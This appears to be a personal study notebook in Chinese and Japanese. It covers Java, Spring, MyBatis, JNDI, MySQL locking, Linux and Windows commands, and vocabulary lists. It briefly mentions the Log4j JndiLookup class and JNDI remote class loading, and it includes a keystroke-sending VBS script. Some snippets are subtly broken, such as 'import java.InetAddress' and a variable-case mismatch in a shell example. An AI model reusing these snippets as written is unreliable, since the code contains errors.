业务实体在内存中表现为【对象】,在数据库中表现为【关系数据】。
因此,对象-关系映射(ORM)系统一般以中间件的形式存在,主要实现程序对象到关系数据库数据的映射。
===
Spring支持以下ORM:
1,Hibernate
2,iBatis
3,JPA (Java Persistence API)
4,TopLink
5,JDO (Java Data Objects)
6,OJB
===
49.JPA
概述:JPA的全称是Java Persistence API, 即Java 持久化API,
是SUN公司推出的一套基于ORM的规范,内部是由一系列的接口和抽象类构成。
50.持久性(persistence)
persistence 英 [pəˈsɪstəns] n. 坚持不懈;执意;继续存在,持续存在;维持
51.JPA、Hibernate、Mybatis简 区别
1.JPA:本身是一种ORM规范,不是ORM框架. 由各大ORM框架提供实现.
2.Hibernate:目前最流行的ORM框架,设计灵巧,文档丰富(完全自动操作),只是性能不好控制(自己去控制性能,不是很好控制)。
(Hibernate是一个完整的ORM框架,常规CRUD我们不需要写一句SQL)
3.MyBatis:本是apache的一个开源项目iBatis,提供的持久层框架包括SQL Maps和Dao,允许开发人员直接编写SQL(更好灵活).(Sql操作方式)
52.JPA 如何使用 // 只需要持久层接⼝继承 JpaRepository 即可
SpringDataJpa:JpaRepository增删改查_琦彦-CSDN博客_jparepository
53.Mybatis (⽀持对象与数据库的 ORM 字段映射关系)
#{}相当于使用占位符,可以防⽌ SQL 注入。
(#{}是预编译处理,相当于对数据加上双引号,然后调用PreparedStatement的set方法来赋值)
${}是字符串替换,相当于直接显示数据,
54.pring MVC
@RequtestMapping :将URL请求和业务方法映射起来,在类和⽅法定义上都可以添加该注
@RequestParam :如果 Controller 方法的形参和 URL 参数名⼀致可以不添加注解
@PathVariable :Spring MVC ⽀持 RESTful风格 URL,通过的绑定。
53.AOP 即⾯向切⾯编程
简单地说就是将代码中重复的部分抽取出来,在需要执⾏的时候使⽤动态代理技术,在不修改源码的基础上对方法进⾏增强
54.AOP 的相关注解有哪些
@Aspect :声明被注解的类是⼀个切⾯ Bean。
@Before :前置通知,指在某个连接点之前执行的通知。
@After :后置通知,指某个连接点退出时执⾏的通知(不论正常返回还是异常退出)。
@AfterReturning :返回后通知,指某连接点正常完成之后执行的通知,返回值使⽤returning属性接收。
@AfterThrowing :异常通知,指⽅法抛出异常导致退出时执行的通知,和 @AfterReturning 只会有⼀个执⾏,异常使用throwing属性接收。
55.SpringBoot
Spring Boot makes it easy to create stand-alone, production-grade Spring based Applications that you can "just run". We take an opinionated view of the Spring platform and third-party libraries so you can get started with minimum fuss. Most Spring Boot applications need very little Spring configuration.
我们通常把Spring Boot称为搭建程序的脚手架。其最主要作用就是帮我们快速的构建庞大的spring项目,并且尽可能的减少一切xml配置,做到开箱即用,迅速上手,让我们关注于业务而非配置.
例子:
SpringBoot + MyBatis + Thymeleaf 之 HelloWorld_sun0322-CSDN博客
56.glassfish 查看 事务隔离级别
glassfish mysql 配置文件_最新glassfish配置mysql_梁航铭的博客-CSDN博客
57.is-isolation-level-guaranteed // 。。。/glassfish/domains/domain1/config/domain.xml // glassfish4
58.guaranteed [ˌɡærənˈtiːd] 保证; 担保; 保障;
59.端口号 1527 // Derby数据库端口号默认为1527
60.springframework.transaction.annotation.Isolation 枚举类中定义了五个表示隔离级别的值:
SpringBoot设置事务隔离等级 - 那些年的代码 - 博客园
public enum Isolation {
DEFAULT(-1),
READ_UNCOMMITTED(1),
READ_COMMITTED(2),
REPEATABLE_READ(4),
SERIALIZABLE(8);
}
DEFAULT :这是默认值,表示使用底层数据库的默认隔离级别。
对大部分数据库,通常这值就是: READ_COMMITTED 。
对 mysql数据库,是 : REPEATABLE_READ。
61.Chrome修改主页无效---解决
查看快捷方式属性是否有后缀
62.Linux Shell 数字相加
×:
COUNT=0
COUNT=$COUNT+1
echo ${count}
---
0+1
〇:
COUNT=0
COUNT=$(( $COUNT+1 ))
echo ${count}
---
1
63.【 JNDI】 与 【 java:comp/env/ 】
关于获取数据源的语法,大体有两种写法,
・(javax.sql.DataSource) ctx.lookup ("java:comp/env/XXX") // 只能用在J2EE环境,是一个映射(ref) ,并非JNDI的名字
・(javax.sql.DataSource) ctx.lookup("XXX") // 这里的XXX,需要是一个确实存在的JNDI名。
在javal中,
Context iniCtx = new InitialContext();
DataSource dataSource = (DataSource) ctx.lookup("java:comp/env/jdbc/test");
java:comp/env/ 前面是固定的
java:comp/env/ 是标准的J2EE环境查找规则
---
package com.city.sxzlc.factory;
import javax.sql.DataSource;
import javax.naming.InitialContext;
import java.sql.Connection;
public class ConnectionFactory {
public static Connection getConnection() throws Exception{
Connection cn = null;
InitialContext ctx =null;
try{
ctx = new InitialContext();
DataSource ds = (DataSource)ctx.lookup("java:comp/env/jdbc/messageBoard");
cn = ds.getConnection();
System.out.println("使用纯JDBC获取连接成功");
}
catch(Exception e)
{
System.out.println("使用纯JDBC获取连接失败 , "+e.getMessage());
throw new Exception("使用纯JDBC获取连接失败");
}
finally
{
ctx.close();
}//final end
return cn;
}
}
在Tomcat的conf/context.xml里面增加如下配置
所以在Tomcat 4.1.27之后,在服务器上就直接增加了数据源的配置选项,直接在服务器上配置好数据源连接池即可。
【apache-tomcat-9.0.0.M13\conf\context.xml】
</Context>
<!--
|- name:表示以后要查找的名称。通过此名称可以找到DataSource,此名称任意更换,但是程序中最终要查找的就是此名称,
|- auth:由容器进行授权及管理,指的用户名和密码是否可以在容器上生效
|- type:此名称所代表的类型,现在为javax.sql.DataSource
|- maxActive:表示一个数据库在此服务器上所能打开的最大连接数
|- maxIdle:表示一个数据库在此服务器上维持的最小连接数
|- maxWait:最大等待时间。10000毫秒
|- username:数据库连接的用户名
|- password:数据库连接的密码
|- driverClassName:数据库连接的驱动程序
|- url:数据库连接的地址
-->
<Resource name="jdbc/messageBoard"
auth="Container"
type="javax.sql.DataSource"
maxTotal="10"
maxIdle="3"
maxWaitMillis="10000"
username="root"
password="root001"
driverClassName="com.mysql.jdbc.Driver"
url="jdbc:mysql://localhost:3306/messageboard?useUnicode=true&characterEncoding=UTF-8" />
</Context>
64.Java获得【IP】与【计算机名】
import java.InetAddress;
public class GetIP{
public static void main(String[] args)
throws Exception {
InetAddress addr = InetAddress.getLocalHost();
System.out.println("Local HostAddress: "+addr.getHostAddress());
String hostname = addr.getHostName();
System.out.println("Local host name: "+hostname);
}
}
65.JNDI架构
66.网址
辽宁省统一身份认证平台
67.JNDI(Java Naming and Directory Interface,Java命名和目录接口)是SUN公司提供的一种标准的Java命名系统接口
68.LDAP(Light Directory Access Portocol),它是基于X.500标准的轻量级目录访问协议。
目录是一个为查询、浏览和搜索而优化的数据库,它成树状结构组织数据,类似文件目录一样。
目录数据库和关系数据库不同,它有优异的读性能,
但写性能差,并且没有事务处理、回滚等复杂功能,不适于存储修改频繁的数据。
所以目录天生是用来查询的,就好象它的名字一样。
69.Excel 排序有问题
因为没有选择扩展选定区域。
■2022/12/23以降整理
01.しんどい // 日本关西方言,费劲,吃力。累。疲劳。
02.ハイブリッド 【英】hybrid ;混合物。 // 環境構築
hybrid // 英 [ˈhaɪbrɪd] n. 杂交动物(植物);混血儿;混合物;混合词
A機能のJar と B機能のJar、本番環境で、それぞれ分けて配布する。
ST環境はハイブリッドの状態です。
03. Git Merge 失败 // Eclipse中失败
Eclipse相关操作整理_sun0322的博客-CSDN博客
04.
ご連絡が遅くなり申し訳ありません。
ご連絡が遅くなり、大変申し訳ございません。
05.notStop.vbs
notepadAuto
Function notepadAuto()
Dim wshShell
Set wshShell = Wscript.CreateObject("Wscript.Shell")
wshShell.Run("%windir%\system2\notepad.exe")
For i =1 to 60
WScript.Sleep 3000
wshShell.Sendkeys "{A}"
WScript.Sleep 3000
wshShell.Sendkeys "{B}"
WScript.Sleep 3000
wshShell.Sendkeys "{C}"
WScript.Sleep 1000
wshShell.Sendkeys "{ENTER}"
NEXT
End Function
1.最开始打开是在notepad上输出
※ 【危险!!!】2.当光标移动到别的程序上时,可以在别的程序上继续输出(比如文本编辑器sakura)
06.パイプ 管道
tail
2021-12:grep '\"2021\-12' ./*.csv | wc
2022-12:grep '\"2021\-12' ./*.csv | tail -3 | xargs iconv -f sjis -t utf8
// tail 显示最后三行(最后桑文件)
07.tail 命令,下面两个效果相同
---
tail -n 3
tail -3
---
2022-12:grep '\"2021\-12' ./*.csv | tail -3 | xargs iconv -f sjis -t utf8
显示查询出的文件中,最后三个文件的内容。(查看文件时,把编码转换成utf8后打开)
08.iconv
Linux下iconv命令对文件编码进行转换_shimadear的博客-CSDN博客_iconv iso-8859-1
iconv -f sjis -t utf8 yourFileName
09.ABEND Abnormal End 异常终止;异常结束
10.Abnormal [æbˈnɔːməl] 不正常的;变态的;畸形的;异乎寻常的
11.Artifactory
制品仓库的artifactory的介绍和部署 - 清白之年980410 - 博客园 (cnblogs)
Jfrog(这是公司名)的Artifactory是一款Maven仓库服务端软件,可以用来在内网搭建maven仓库,供公司内部公共库的上传和发布,以提高公共代码使用的便利性。
它也是目前全球唯一一个支持所有开发语言,任意维度的元数据检索、跨语言正反向依赖分析,并同时拥有深度递归、支持多活异地灾备的企业级、高可用二进制制品管理仓库。世界五百强中93%的企业已经将Artifactory作为自己DevOps的核心系统。
12.截屏
「pint」:截屏对象 ⇒ 屏幕
「alt」+「pint」:截屏对象 ⇒ 窗口
「win」+「shift」+「s」截屏对象 ⇒ 自己选择(指定)
13.win10下系统环境变量设置成功后,使用无效 (解决:加上双引号)
×:set path=C:\xxx\xx\java\8\bin;%path%
〇:set path="C:\xxx\xx\java\8\bin";%path%
14.existent 英 [ɪɡˈzɪstənt] adj. 存在的,现存的,目前的 n. 存在物,生存者
15.防火墙
・查看防火墙状态信息
systemctl status firewalld
・打开防火墙(如果不是显示active状态,需要打开)
systemctl start firewalld
・查看防火墙所有信息
firewall-cmd --list-all
・查看防火墙开放的端口信息(默认为空)。。。明明有开放端口,但是看不到啊。。。也许外层还有防护墙
firewall-cmd --list-ports
・查看所有永久开放的端口(默认为空)
firewall-cmd --list-ports --permanent
16.查看端口对应的进程
方法1:
netstat -anp | grep -e :80 -e PID
方法2:
lsof -i:port
lsof -i:80
※:都可以看到连接到服务器端的,客户端的IP。(页面发生请求之后,立即执行命令查看)
17.since // java since 1.7
adv. 此后;后来
prep. 自...以后;从...以来
18.Java内存分配详解(堆内存、栈内存、常量池)
Java内存分配详解(堆内存、栈内存、常量池)_jian_sheng_tan的博客-CSDN博客_常量池和堆内存
19.TeraTerm启动程序(有两个)
・普通启动
ttermpro.exe
・调用ttl函数启动
ttpmacro.exe
TeraTerm自动登录(Login)_sun0322-CSDN博客_teraterm自动登录
20.ps -aux | grep xxx |grep -v grep
-v // invert-match // -v is specified by POSIX
Inversion [ɪnˈvɜːʃən] n. 倒转,否定,倒置 // Spring IoC
21.invert英 [ɪnˈvɜːt; ˈɪnvɜːt] n. 颠倒的事物 v. 使…转化;使…颠倒
22.POSIX // Linux之正则表达式
(021) Linux之正则表达式 - jplatformx - 博客园
什么是POSIX?POSIX也就是Portable Operating System Interface(末尾增加X只是为了更流畅)的缩写。
它是20世纪80年代中期,IEEE开始开发了一套规范UNIX和类UNIX系统工作方式的标准。
这些标准,官方名称为IEEE 1003,定义了应用程序接口(API)、shell以及一些实用程序,它们可以在标准类UNIX系统中找到。
该标准由Richard Stallman提议命名为POSIX,后来被IEEE采纳。
23.NOOP NO Operation 无操作
24.类【JndiLookup】 的位置,关系 // Log4j2 漏洞
org.apache.logging.log4j.core.lookup.JndiLookup
JndiLookup extends AbstractLookup
AbstractLookup implements StrLookup
25.Stream的优点(特性)
・无存储。stream不是一种数据结构,它只是某种数据源的一个视图,数据源可以是一个数组,Java容器或I/O channel等。
・为函数式编程而生。
・对stream的任何修改都不会修改背后的数据源
比如对stream执行过滤操作并不会删除被过滤的元素,而是会产生一个不包含被过滤元素的新stream。
・可消费性。stream只能被“消费”一次,一旦遍历过就会失效,要再次遍历必须重新生成。
26.Stream的map方法
Stream的map方法类似一个迭代器,对调用这个Stream.map(**)的对象进行lambda表达式操作。
stream().map()方法详解_莫浔的博客-CSDN博客_stream().map()
27.@ConfigurationProperties 与 @value
@ConfigurationProperties与@Value的区别_一个旅人-CSDN博客_@configuration @value
@ConfigurationProperties方式支持复杂数据类型的封装
@Value的方式并不支持复杂类型数据的封装
28.げた 木履,木屐,呱嗒板儿,趿拉板儿。 // 記号 〓 (印刷時の伏せ字) (ふせじ)
29.カット 【英】 cut ;切,去掉;削球;剪发,理发;
30.PowerShell 无法加载文件ps1,因为在此系统中禁止执行脚本
1.通过命令
get-executionpolicy
显示 Restricted
即不允许执行任何脚本。
2.通过命令
get-help set-executionpolicy
可知有以下执行策略:<Unrestricted> | <RemoteSigned> | <AllSigned> | <Restricted> | <Default> | <Bypass> | <Undefined>
3.通过命令、修改其策略 (需要管理者权限执行):
set-executionpolicy remotesigned
即可执行脚本
---
31.springboot启动流程(目录)
springboot启动流程(目录) - __lay - 博客园
32.リトライ 【英】retry ;重试,再干;再审。 [riːˈtraɪ] 再试,复执
33.Docker Volume
Docker学习笔记(6)——Docker Volume - 简书
34.SpringBoot 之 【logback-spring.xml】 的加载
springboot 源码阅读之 logback-spring.xml 是在哪里加载的?_heshiyuan1406146854的博客-CSDN博客_logback-spring.xml
AbstractLoggingSystem.java // 131 行
└LogBackLoggingSystem.java // 98 行
---
35.SLF4J
org.slf4j.Logger // Interface
■2022/01/01以降整理
01.@Inherited (非必要) - 它所标注的注解具有继承性。
inherited 英[ɪnˈherɪtɪd] v.继承(金钱、财产等); 经遗传获得(品质、身体特征等); 接替(责任等); 继任;
02.restriction 英[rɪˈstrɪkʃn] n.限制规定; 限制法规; 限制;
・spring AOP
Java学习(更新中)_sun0322-CSDN博客
03.使用 @Aspect 注解的类就是切面.
04.aspect 由 pointcount 和 advice 组成
2020 最新Spring面试题_duchaochen的博客-CSDN博客_spring的接口编程主要目的是
05.advice 英[ədˈvaɪs] 劝告; 忠告; 建议; 意见; // AOP 中的术语 (通知/增强)
06.织入((Weaving)) advice 的目标对象. 目标对象也被称为 advised object.
advice 的类型 5种
===
1 | before Run advice before the a method execution. |
2 | after Run advice after the method execution, regardless of its outcome. |
3 | after-returning Run advice after the a method execution only if method completes successfully. |
4 | after-throwing Run advice after the a method execution only if method exits by throwing an exception. |
5 | around Run advice before and after the advised method is invoked. |
===
AspectJ是一个面向切面的框架,是目前最好用,最方便的AOP框架
(@Aspect、@Pointcut、@Before、@After、@Around)
07.introduction 英 [ˌɪntrəˈdʌkʃən] n. 介绍;引进;采用;序言;入门;序曲
AOP with Spring Framework (tutorialspoint)
Sr.No | Terms & Description |
---|---|
1 | Aspect This is a module which has a set of APIs providing cross-cutting requirements. For example, a logging module would be called AOP aspect for logging. An application can have any number of aspects depending on the requirement. |
2 | Join point This represents a point in your application where you can plug-in the AOP aspect. You can also say, it is the actual place in the application where an action will be taken using Spring AOP framework. |
3 | Advice This is the actual action to be taken either before or after the method execution. This is an actual piece of code that is invoked during the program execution by Spring AOP framework. |
4 | Pointcut This is a set of one or more join points where an advice should be executed. You can specify pointcuts using expressions or patterns as we will see in our AOP examples. |
5 | Introduction An introduction allows you to add new methods or attributes to the existing classes. |
6 | Target object The object being advised by one or more aspects. This object will always be a proxied object, also referred to as the advised object. |
7 | Weaving Weaving is the process of linking aspects with other application types or objects to create an advised object. This can be done at compile time, load time, or at runtime. |
---
切面(Aspect):一个模块化的横切逻辑(或称横切关注点),可能会横切多个对象。
连接点(Join Point):程序执行中的某个具体的执行点。入原对象的fun()方法就是一个连接点。
增强处理(Advice):切面在某个特定连接点上执行的代码逻辑。
切入点(Ponitcut):对连接点的特征进行描述,可以使用正则表达式。增强处理和一个切入点
表达式相关联,并在与这个切入点匹配的某个连接点上运行。
目标对象(Target object):被一个或多个切面增强的对象。
AOP代理(AOP proxy):由AOP框架所创建的对象,实现执行增强处理方法等功能。
织入(Weaving):将增强处理连接到应用程序中的类型或对象上的过程。
introduction(引介):引介是一种特殊的通知在不修改类代码的前提下,Introduction可以在运行期间为类动态地添加一些方法或Field
Proxy(代理):一个类被AOP织入增强后,就产生一个结果代理类
---
08.PointCut表达式
09.配置Aop
基于 @Accept标注
基于XML
<aop:pointcut expression="execution(* com.hehe.service.impl.*.*(..))" id="p1"/>
<aop:aspect id="logAspect" ref="logger">
<aop:around method="aroundAdvice" pointcut-ref="p1"/>
</aop:aspect>
。。。
======= spring AOP End
10.Java 并发工具包 java.util.concurrent 用户指南
文章1
Java 并发工具包 java.util.concurrent 用户指南_Defonds 的专栏-CSDN博客_java 并发工具包
文章2
java.util.concurrent包详细分析_我的山水-CSDN博客_java.util.concurrent
11.MethodSignature // Aop(AspectJ) // ProceedingJoinPoint.getSignature
springboot之JoinPoint的getSignature方法_Mint6的博客-CSDN博客_joinpoint.getsignature()
12.方法签名(method signature)
13.signature [ˈsɪɡnɪtʃə] n. 签字,签署;识别标志,特征
14.DeadlockLoserDataAccessException // org.springframework.dao
由DUPLICATE引起的DeadlockLoserDataAccessException死锁_星空的风fly-CSDN博客
// 发生原因:当执行更新的时候,发现了要更新的数据被别的事务锁了,拿不到了锁,于是就死锁了
15.Mysql事务中Update是否会锁表
mysql update 事物锁表_Mysql事务中Update是否会锁表?_云云众生w的博客-CSDN博客
// 如果没有索引,update会锁表(占有表,排他),如果加了索引,就会锁行(占有行,排他)
(即,等待事务1的 update 执行完了之后,事务2的update才会执行。)
16.Object
└Throable // AOP RoundAdvice 方法 要 throws Throable
└Error
└Exception
17.Method // java.long.reflect.Method
===
isAnnotationPresent(XXXXX.class);
===
Methods inherited from class java.lang.reflect.AccessibleObject
getAnnotations, getDeclaredAnnotation, getDeclaredAnnotationsByType, isAccessible, isAnnotationPresent, setAccessible, setAccessible
// inherited 英[ɪnˈherɪtɪd] v.继承
18.事务
・事务并发
通常为了获得更好的运行性能,各种数据库都允许多个事务同时运行,这就是事务并发。
・事务并发问题 (更新丢失(Lost Update))
当事务A和事务B同时修改某行的值,
MySQL高并发事务问题及解决方案_weixin_34307464的博客-CSDN博客
・事务并发问题解决
对行加锁,只允许并发一个更新事务。
・存储引擎
MySQL有MyISAM 和InnoDB两种存储引擎,现在主要使用InnoDB,所以主要介绍InnoDB下锁的使用。
show engines;
--
show create table yourTableName;
・有时【锁行】 ,有时【锁表】 的原因:与索引有关
不恰当的update语句使用主键和索引导致mysql死锁_在远行的路上-CSDN博客_mysql update 主键死锁
MySQL有三种锁的级别:页级、表级、行级。
(行级锁并不是直接锁记录,而是锁索引)
===
MyISAM和MEMORY存储引擎采用的是表级锁(table-level locking);
BDB存储引擎采用的是页面锁(page-level locking),但也支持表级锁;
InnoDB存储引擎既支持行级锁(row-level locking),也支持表级锁,但默认情况下是采用行级锁。
===
・非主键索引,主键索引
腾讯面试:一条SQL语句执行得很慢的原因有哪些?---不看后悔系列 - 帅地 - 博客园
・查看索引
show index from yourTableName
・mysql redo log
19.
20.
■2021/7/23~2021/10/05之间(纯单词)
01.YYYY是表示:当天所在的周属于的年份,一周从周日开始,周六结束,只要本周跨年,那么这周就算入下一年。
02.crontab -l
03.glassfish sessiontimeout // domainXX/config/domain.xml | grep -Hn timeout
04.find ./ -mtime -2 查找文件更新日时在距现在时刻二天以内的文件
05.@PostConstruct该注解被用来修饰一个非静态的void()方法。被@PostConstruct修饰的方法会在服务器加载Servlet的时候运行,并且只会被服务器执行一次。
06.delimiter //mysql相关 -- [ delimiter //] 以【//】作为分隔符,代表SQL的结束。替代之前的【;】 [delimiter ;]
07.Reference [ˈrɛfərəns] 引用 // java
08.Reflection [rɪˈflɛkʃən] 反射 // java
09.日次 ひつぎ
10.immutable [ɪˈmjuːtəbəl] adj. 永远不变的 // java String
11.AutoCloseable // try-with-resources 要求关闭的资源必须实现AutoCloseable接口
12.mysql -e 'select xxx from xxx where xxx'
13.which sss // Linux 查看执行文件的位置
14.软连接 シンボリックリンク (创建) // ln -s /AAAA/BBBB/CCC/DDD/sss /bin/sss 软连接(删除) ulink /bin/sss
15.Predicate 英 [ˈprɛdɪˌkeɪt; ˈprɛdɪkɪt] adj. 谓语的 v. 断言 // 函数式接口
16.consumer是买了商品,而使用某某商品的人, // 函数式接口
17.customer只是指买该商品的人但不证明他/她有使用该商品的人. customer /ˈkʌstəmə/ 顾客
18.decimal 英 [ˈdesɪməl] n. 小数 adj. 十进位的;小数的
19.Suppress [səˈprɛs] 制止;镇压;平定;// java @SuppressWarnings // 所标注内容如果产生警告,指示编译器去忽略注解中声明的警告。
20.surprise [səˈpraɪz] 惊奇,诧异
21.agenda 英 [əˈdʒendə] (会议的)议程表,议事日程;)
22.ずつ // 毎日2時間ずつ勉強する // 每天学习两个小时
23.頭痛 ずつう
24.クリップボード 粘贴板 (Ctrl +c)
25.propagation [ˌprɒpəˈɡeɪʃən] 传播;繁殖,增殖 // spring 事物传播设置
26.repeatable read [ri'pi: təbl] 可重复的 ( 实验、 实验结果等) 可复验的 // 事物隔离级别
27.Universal [ˌjuːnɪˈvɜːsəl] 全世界的 adj. 普遍的,共同的;广泛适用的 // UNC PATH
28.Convention [kənˈvɛnʃən] n. 大会;习俗,惯例;传统风格;协定 // UNC PATH
29.蓄積 ちくせき 知識蓄積
30.畜生 ちくしょう
31.Inversion [ɪnˈvɜːʃən] n. 倒转,否定,倒置 // Spring IoC
32.DI—Dependency Injection 依赖注入
33.@primary // spring);候选人初选会;预选;原色 // @Autowired, 默认是根据类型Type来自动注入的。 // 使用@bean + @primary可以消除歧义
34.Optional adj. 可选择的;选修的;随意的,任意的 // Java8 Sytream (findFirsit等方法的返回值类型,允许对象为空) 使用get方法获取对象
35.option n. 选择权;选项;选修课
36.diff a.txt b.txt //< a.txt中,差异的部分 --- > b.txt中,差异的部分
37.Thymeleaf [taim li:f] // spring boot 前台 // thyme 英[taɪm] 百里香(一种植物,叶小 // leaf 叶;
38.getInstance // 这是单例模式 // 有private的构造函数,使得不能用new来实例化对象,
39.ポジション position;地位,职位。
40.accuracy [ˈækjʊrəsɪ] n. 准确(性),准确无误
41.cp -ip // 询问是否覆盖文件时,必须输入 Y 才能覆盖。// 直接回车,无法覆盖文件。
42.innovation [ˌɪnəˈveɪʃən] n. 革新,改革;新方法;新制度
43.society [səˈsaɪətɪ] n. 社会;社团;社交界;交往;
44.situation [ˌsɪtjʊˈeɪʃən] 情况;状况;局面;
45.benefits [benifits] 优势,益处,成效
46.industry [ˈɪndəstrɪ] 企业,行业;
47.poverty [ˈpɒvətɪ] n. 贫穷;贫乏;低劣
48.collaborate [kəˈlæbəˌreɪt] 合作;勾结
49.Microsoft Edge(エッジ)
50.坑 Eclipse 格式化 XML文件时, <item>s a</item> 半角空格会变为全角空
51.知识点:xml可以复制到Excel中。按所有的项目,列出每一列。
52.Generic 泛型
53.inflating // unzip 膨胀
54.NoMergeBaseException // Eclipse Git
56.vi、vim (which) // vim可以当作vi的升级版本,他可以用多种颜色的方式来显示一些特殊的信息。
57.閲覧(えつらん) // outlook (表示 ⇒ レイアウト⇒ 閲覧レイアウト ⇒ 右(R))
58.割当 分摊。分配。分担(量)。分派。
59.差し戻し 退回。上交的文书、案件等被退回
60.国慶節(こっけいせつ)
61.formula 英[ˈfɔːmjələ] 公式; 方程式; 计算式; 分子式; 方案; 方法;
62.
63.
■2021/10/06~2021/11/28之间(纯单词)
01.alignment 英 [əˈlaɪnmənt] n. 列队;成直线;结盟;校准;调整 // 对齐
02.sensitive [ˈsɛnsɪtɪv] // case sensitive 大小写敏感
03.rpm // Linux インストールファイル
04.robocopy 2 1 /purge // doc // 文件路径太长无法删除 // robocopy C:\temp C:\target\source\test /purge // a.清空 test 文件夹中的内容 // b.C:\temp 中的内容复制到 C:\target\source\test 中
05.purge 英 [pɜːdʒ] 清除,清洗 // robocopy 2 1 /purge
06.authorized [ˈɔːθəˌraɪzd] 权威认可的,经授权的 // 401 Unauthorized
07.export [ˈɛkspɔːt] 输出,出口;
08.Apache {Referer} //Log 每个页面的请求 // HTTP 请求来自哪里 // refere (//http请求中的信息(Request Headers) // Apache log %r)
09.RestTemplate // SpringFramework HttpRequest
10.とっぱん 凸版
11.バッククォート 返单引号
12.spring.profiles.active // Spring Boot 使用 spring.profiles.active 来区分不同环境配置 // java -jar app.jar --spring.profiles.active=prod --server.port=8060 // 定义在YMLファイル里面,还需要创建其他的文(application-{profile}.properties)件才有意义。
13.Unicode \uAAAA 两个字节 // java char
14.SSD 固态硬盘(Solid State Disk或Solid State Drive)
15.遅くとも 最晚,// 至迟 遅くとも明日中には返事をする
16.INTVL // interval [ˈɪntəvəl] // 间隔;间距;幕间休息;区间
17.Defender [dɪˈfendər] // 防守者; 后卫; 防守队员; 守卫者; 保护人; 防御者; // 杀毒软件
18.修改【图表】的【数据源】的据范围 // ActiveChart.SetSourceData Source:=Range:=Range("B2:F2222")
19.準ずる じゅんずる // 准,以……为标准,按照,依照。遵从某根据
20.キューイング // 插入字幕(电视节目中);嵌入;尾接 // A-AUTO 夜間バッチ、まだ実施されない、「監視一覧チャート」で表示されない(今はまだキューイングされてないです)。
21. invalid 英 [ɪnˈvælɪd] adj. 无效的;无根据的;有病的 //IOException: (line 1) invalid char between encapsulated token and delimiter // 「...,"aaa","bbb","cc\"cc","ddd"...」
22.大规模MIMO (massive MIMO) // 5G
23.Retention 英 [rɪˈtɛnʃən] n. 保留;滞留;记忆力; // Retention 英 [rɪˈtɛnʃən] n. 保留;滞留;记忆力;
24.mybatis
@Mapper // 在持久层的接口上添加@Mapper注解,编译后会生成相应的接口实现类
@MapperScan。 // 为了简化配置,所以产生了@MapperScan。
25.springboot
@ComponentScan // 会自动扫描包路径下的@Controller、@Service、@Repository、@Component类,
@Configuration // 从Spring3.0,@Configuration用于定义配置类 // 默认会扫描, 同包以及子包下的注解
26.线程
join() 这个方法比较好理解,当前线程等待指定线程终止后在执行,将两个交替执行的线程合并为顺序执行的线程
sleep() Thread静态方法,强制当前线程休眠.当休眠时间到期后恢复到可运行状态.不一定会立即执行,具体取决于线程调度器
wait() 一般都是配合notify()和notifyAll()一起使用,并且他们都是java.lang.Object的方法. // 失去对象的锁,其他线程可以访问
27.サイジング 【英】siaing ;涂胶,施胶,纸张上胶。
28.サイジング sizing 規模
29.vi编写代码时,文件末尾会多一个换行符
30.where is cp // linux
31.xxx.log`date +%Y%m%d` // date 后面有空格 // linux
32.LANG=C tar -zxvf xxx.gz // Linux 英语显示
33.メンション 成员 // Teams で @メンションを使って注意を引く
34.Hulft
pa -aux | grep hul // Hulft
pa -aux | grep hul
集信 しゅうしん // HULFT ←
配信 はいしん // HULFT →
35.気遣い きづかい // 1.担心,挂虑;不放心。
36.黄緑(きみどり) // #ECF4D9 C10Y20: #B6D56A C35Y70
37.シンクラ //シンクライアント // 【英】Thin Client ;指的是在客户端-服务器网络体系中的一个基本无需应用程序的计算机终端。
38.monitor定义 // java // 锁 // Monitor是一种用来实现同步的工具
39.容量確認 du -h フォルダー
40.おわり・おしまい ⇒ 終わり・お終い // おわり・おしまい ⇒ 終わり・お終い
41.MsgBox Environ("username") // MsgBox Environ("username")
42.サスペンド suspend;暂停、挂起
43.Git ,GitHub
rejected 英 [rɪˈdʒɛkt; ˈriːdʒɛkt] // adj. 被拒的;不合格的 // git merge
conflict 英[kənˈflɪkt] // 冲突; 争执; 争论; // git merge 競合
squash 英 [skwɒʃ] 美 [skwɔʃ] スカッシュ // git merge 选项 (多个版本一次提交) // v. 把…压扁;受挤压;挤入;镇压;使沉默 // n. 壁球;果汁饮料;南瓜属植物;拥挤
issue [ˈɪʃu:] //GitHub 事务卡片(Issues) // n. 流出;问题;期,号;发行物 v. 流出;放出,排出;造成…结果;发放;发行;发布
insight Insights [ˈɪnˌsaɪt] //GitHub n. 洞察力;洞悉 // github // Insights ⇒ Network 查看整体Merge情况
44.仓库(repository) [rɪˈpɒzɪtərɪ] n. 贮藏室;图书馆,博物馆;博学者;智囊团
45.mount 英 [maʊnt] n. 坐骑;底座;山 v. 爬上;骑上;安装;镶嵌;准备上演,举办;组织,发起;增加;加剧;上升 // showmount -e localhost // NFS
46.
47.
48.
49.
50.
■2021/11/29 ~2022/01/05之间(纯单词)
01.MM/DD XXX会議押さえました。 // 上下文:有内容想确认,什么时候确认,讨论之后,在 [MM/DD XXX会議]的时候确认。
02.Comparatorparing().thenComparing() // Comparatorparing().thenComparing()
03.信じ切れていない // (不能)全部......”、“(不能)彻底......”。
04.シナリオ単位:划分方式 // 测试
05.一応 // 大致,大体;首先;暂且。
06.rm -v XXX // 显示删除文件详细信息
07.ls -l -d /AAA/BBB/ccc 显示文件夹全路径
08.fall back后退、撤退
09.roll back向后滚动 // (价格或工资等的)下跌,回落; (情形、法律等的)回复,恢复; // 数据库回滚
10.tcpdump dst 3.4.5.6 // linux //查找从目标发出的流量(忽略会话的另一方) // dst
11.Destination [ˌdestɪˈneɪʃn] // 目的地; 终点; // DST = 目标主机 Destination Host
12.伝播 でんぱ // 伝播 でんぱ // トランザクション の propagation(传播) // @Transactional(propagation = Propagation.REQUIRED)
13.排他 はいた // DeadLock発生の原因の一つ
14.Naming References // JNDI RMI // Naming References // 可以通过远程下载一个class文件,然后下载后加载起来构建对象。
15.RMI(Remote Method Invocation)为远程方法调用
16.registry // 在一个JVM中启动rmiregistry服务 // 英 [ˈrɛdʒɪstrɪ] n. 登记处,注册处;登记,注册
17.rather than // No Compiler is provided in this environment. Perhaps you are runing on a JRE rather than a JDK // 在运行maven打包时:运行环境默认配置jre而不是JDK
18.taskkill /f /im Box.exe // taskkill /f /im Box.exe
19.フォトは、「フォトショップ」の省略表現。 // windows フォトビューアー // windows Photoshop view // windows 照片查看器
20.features [ˈfiːtʃəz] 相貌;容貌 ;特色; 特征; 特点; // JNDI features used // JNDI漏洞
21.against attacker 对付攻击者
